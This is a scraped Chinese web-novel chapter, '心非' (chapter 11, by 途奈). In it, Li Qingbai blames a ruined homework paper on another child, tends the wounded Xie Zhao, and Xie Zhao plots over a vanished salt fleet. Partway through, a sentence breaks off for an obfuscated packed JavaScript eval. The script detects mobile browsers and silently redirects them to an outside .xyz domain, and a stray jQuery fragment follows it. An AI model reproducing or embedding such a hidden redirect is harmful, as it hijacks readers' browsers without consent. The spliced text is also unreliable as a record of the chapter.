默认冷灰
24号文字
方正启体

11. 心非

作者:途奈本书字数:K更新时间:
    “娘亲,这真的能行吗?”


    知雨展开那张沾满墨水指印、被揉成一团当球踢来踢去的试卷,扬起脑袋问她。


    她仔细检查,几乎所有题目的答题处都被蹂躏得不成样子,满意地点点头:“不错,就是这样。”


    “可是爹爹真的不会怪我们吗?”


    “怎么会?许大人的傻公子非要进来淘气,弄坏了你的答卷,这怎么能是我们娘儿俩的过错呢?要怪,就让他去怪许大人好了。”


    “娘亲,你可真聪明!”


    “好了好了,你去歇息吧,娘亲也回房睡会儿。”


    ……


    她原本是想看看这意园里有没有暗房密道、藏匿机要之所的,无奈刚出门,便有家丁来“护送”她回房,只得乖乖回去。一下午躺在床上翻来覆去睡不着,既担心夏荫暴露,又好奇许谢动向,这一晃就到了酉时。


    咚咚咚。


    她一股脑从床上翻起来。


    是夏荫回来了!


    她推开门,来人果真是夏荫,一张皙白的脸被晚光衬得格外生动。他笑着扬扬手中的牛皮纸袋,语气里满是骄傲:“你看我给你带什么回来了!”


    她细瞅,上头贴了红黄双花,印了方正的楷书“双良”二字,不由得满眼放光。


    “双良猪肉脯!”


    “我知道你会喜欢。”


    她撕开纸袋,拈了薄薄一片轻轻咬下,五分韧五分脆,肉香、熏香、芝麻香在唇间迸发,咸甜交织,回味无穷,嗦着手指眨巴眼道:


    “我们回去的时候,买它个十船八船的,囤着慢慢吃吧!”


    “你个馋猫,东西要新鲜的才好吃。”


    “那倒也是。唔……你这趟出去,可有什么收获?”


    “那可多了去了。”


    李清白放下纸袋,正襟而立。


    “早上我跟着那帮谢府的人,去了本地各要津、盐铺,他们询问了近七日的人员出入及账目情况,似乎是在例行盘查生意,也收受了一些银两。”


    “无良奸商,欺压百姓啊。”


    “后来收到你消息,马不停蹄往回赶,谢昭的确是跟着许灵阶出门的,陪同他拜访了六位本地政要,多是饮茶叙旧。谢昭同他们熟得很,极尽奉承,平日里大概少不了给好处。”


    “官商勾结,世态炎凉啊。”


    “再后来,谢昭陪许灵阶去了一座尚在兴修的道观‘仙云观’,过了约三刻钟才出来。里头除了工匠没别人,我不好贸然进去,但出来时谢昭脸色很不对,似乎有事发生。”


    “那我找个机会刺探下。”


    “哦,还有个事,回来路上我接到封信,是你爹的,你看看。”


    李清白不情不愿地打开信,没看两句就丢到了一边:“嘁,自己玩忽职守,还怪我们瞎胡闹。”


    “大人也是担心你的安危啊。”


    “他老人家就等着颐养天年吧!他不愿做的事,我来做。”


    “你?你有几斤几两的功夫,我还不知道?”


    “你敢小瞧我?来,我们比划比划。”


    李清白稳桩提气,扬臂握拳,绝不在这小纨绔面前露怯。夏荫不敢马虎,严阵以待,也绝不肯丢了他锦衣卫十四千户的面子。


    二人你来我往,贴身互搏,全然没注意屋外有双酸溜溜的眼。


    不一会儿,门口传来细微的咳嗽声,二人同时警觉,恢复主仆模样。夏荫悄摸到了门边,那人刚好敲了门,他便把门打开。


    嗯……


    谢昭自己送上门来了?


    他怎么……像个怨妇?


    明明才过了几个时辰,谢昭已不复潇洒姿态,倚门的身子微微佝偻,惨白的面色,干枯的嘴唇,略显凌乱的发丝,似乎遭受了某种重大打击,又有种元气大伤的美感。


    李清白见他手里拎着个熟悉的牛皮纸袋,试探着开口:“你……是来给我送吃的?”


    谢昭将纸袋背到身后,幽怨道:“我来过问知雨功课。”


    她有些心虚:“你走的时候也没要我辅导他吧?这会儿倒跑来问我了。”


    谢昭冷冰冰的:“他的功课,你是第一责任人,任何时候都不能推脱。若是他今天的功课没做好,你也一起受罚。”


    李清白笑眯眯的:“我的日常,你也是第一责任人,若是我没把知雨教好,你也应该一起受罚。”


    “你……”


    谢昭气得要捶门,她接着道:“其实我们也认认真真做了,只不过现在啥也没了。”


    “这是什么话?”


    她抱胸含笑:“你去问许之霄呀!他好巧不巧跑来‘探险’,把你的那些题,那些书,全都搞得乱七八糟,不能看啦。”


    “你!之霄虽然糊涂,却也绝不会乱动旁人东西,你是成心赖给他!”


    “反正事情是他做的,你要怪就怪他好啦。”


    谢昭气得直喘,大口大口咳嗽起来,用来捂嘴的巾帕上,竟蓦然出现丝丝血迹。


    她惊跳起来,一把抓住他手臂:“谢昭,你怎么了?”


    谢昭冷脸甩开,跌跌撞撞走远。


    ……


    晚席的菜式比午间更丰盛,她的胃口却是一顿不如一顿。后来谢昭再没出现过,把自己关在屋里谁也不见,也不知究竟发生了什么。担心夹杂着好奇,逐渐淹没她全身,她草草拨弄了两口,匆匆赶去拨云堂。


    谢昭受伤不轻。


    是谁所伤,又因何事?


    来到他门前时,屋内似有声响,她便屏息听着:


    “这药是我亲手煎的,未经旁人,你也不肯吃吗?”


    什么,许见卿在谢昭屋里,还伺候他吃药???


    她心里那股毛躁,像闪电噼啪炸开,大力敲起门来:“谢昭!谢昭!”


    见卿打开门,冲她莞尔一笑:“也好,让你夫人来伺候你。”


    她与谢昭眼神对视,只一刹便红了脸。


    进门打量四周,这间主房竟比客房还要简陋,房内连个像样的陈设都没有,属实出乎她意料。空荡荡的红木桌上摆着撂下的药碗和那包猪肉脯,见卿朝她示意,她鬼使神差地端起那碗药,走到谢昭床前,不知该说什么好。


    谢昭撑身坐着,厌烦地撇过头:“拿走。”


    他的脸比那会儿更惨白了,中衣上透着隐约的汗渍和血渍,她忍不住道:


    “是谁伤的你?”


    见卿帮答:“听我爹说,他们下午在僻静的街巷遇袭,他为保护我爹受了伤,贼人也被击毙。我过意不去,便自作主张煎了药送来。他怎么也不肯吃,正好你来了,一定要劝他按时服药。我这儿还有个治外伤的药膏,你收着,替他搽上,我就先回去了。”


    明明是仙云观,怎么是街巷?他们一定在隐瞒什么。


    见卿将那枚雕花小方盒放在桌上,谢昭缓缓开口:“多谢你。那包双良猪肉脯,是我特地为你买的,你带回去吃吧。”


    见卿笑得很甜:“那,我就不客气了。”


    “……”


    不就是一包猪肉脯!有什么了不起的!谁还没吃过!


    她垮着张小脸,心中满是不悦,一时竟忘了该问他什么。


    谢昭盯着她审视了好一会儿,态度和语气都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242691|181932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是拒人于千里之外:“你来做什么?”


    “过来看看,我有没有机会继承家产。”


    “你想多了。我很好,你可以走了。”


    她感到手中药碗的温度在逐渐流失,连同她的关切和耐心。既然冷漠至此,想必他什么也不会说,她转身放下药碗,一言不发便走。


    这时,谢昭闷头咳了起来。


    她循声望去,新沁的血迹如花枝般从他身上探出,心头震颤,跑将过去扶住他肩膀:


    “谢昭,谢昭!你怎么样?”


    谢昭迅速将她手挪开:“我说过了,我很好。”


    她急了起来:“好什么好?你伤得很重,对方是谁,用什么武器?”


    “这伤与你无关,自然也不用你管。”


    顾不得那么多,她抓起见卿留下的药膏,就开始扒他的衣裳。她速度极快,动作极轻,须臾间已露出谢昭后肩上的血痕,谢昭不知哪来的力气,竟顷刻将她推倒,用那双深潭一样的眼睛盯住她。


    她呆呆坐在地上,想着自己方才大概失心疯了,竟妄想温暖一匹嗜血的豺狼。


    “滚。”


    她一瞬间被这字眼伤得很深,在眼泪掉落之前,夺路而逃。


    元旌归来时,正碰到李清白跑走,还打算问问怎么回事儿呢,见谢昭如此模样,瞬间明白了几分,懊恼得直拍大腿:


    “爷,我就不该走的!许灵阶为何又打您?”


    “自然是怪我没管教好媳妇,当众忤逆于他,坏了心情。不过这四年来,他十日总有八日心情不佳,也习惯了。”


    元旌看着那方药盒,斟酌问道:“这是夫人拿来的?”


    谢昭皱眉:“许见卿给的,你别用,桌上的药也悄悄倒掉。”


    元旌另取了柜中药箱,替谢昭清理上药:“那,夫人又是怎么回事?”


    谢昭倒吸了几口凉气,缓缓道:“不关她事,我不想让她掺和进来。”


    “爷,留着她总归是个祸患。”


    “李葆葆明哲保身多年,竟有这样一个胆大包天的女儿,也是出奇。不过,她始终真心爱护知雨,若能在江都安分守己,倒也不会坏了我们的计划。明日许灵阶叫我带她去自在园赴宴,你送知雨去章华书院,再派人送他们回江都,不容有失。”


    “是,爷。”


    “咱们的船,可有查到什么眉目?”


    “那夜风平浪静,盐船几无倾覆可能;这批货数额巨大,特派墨卫运输,船队失踪后,我已集结各地人手火速查访,未有叛变可能,应是有人蓄意劫掠。若说劫掠之人,本地头号盐商富大友嫌疑最大。”


    “是他?”


    “他最有实力,也最有动机。三年前占中插队,一年前兜售假盐引,不都跟咱们结了梁子吗?明面上虽不敢与您为敌,免不了暗中使绊子。咱们的船队挂有醒目的谢家旗,同行江上时,其他船只尚且避之不及,又怎敢劫持?能神不知鬼不觉吃下咱们船队的人,就只有他了。”


    “听闻明日他也在宴请名单上。”


    “爷,不然我……”


    “不,我要你全力保障知雨的安全。明日趁富大友夫妇出门,派人细查富府及其产业,有消息即刻通知我。许灵阶那边也不可轻视,盯牢。此外,查一下那个应夏的身份,他和李清白关系匪浅。”


    “是。”


    元旌关好药箱欲退下,冷不丁被谢昭叫住。


    “阿旌,和你商量件事。”


    “啊?”


    谢昭顶着张哀怨的脸,委屈巴巴地望住他,像只受伤的小鹿。


    “以后轻点成不成?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)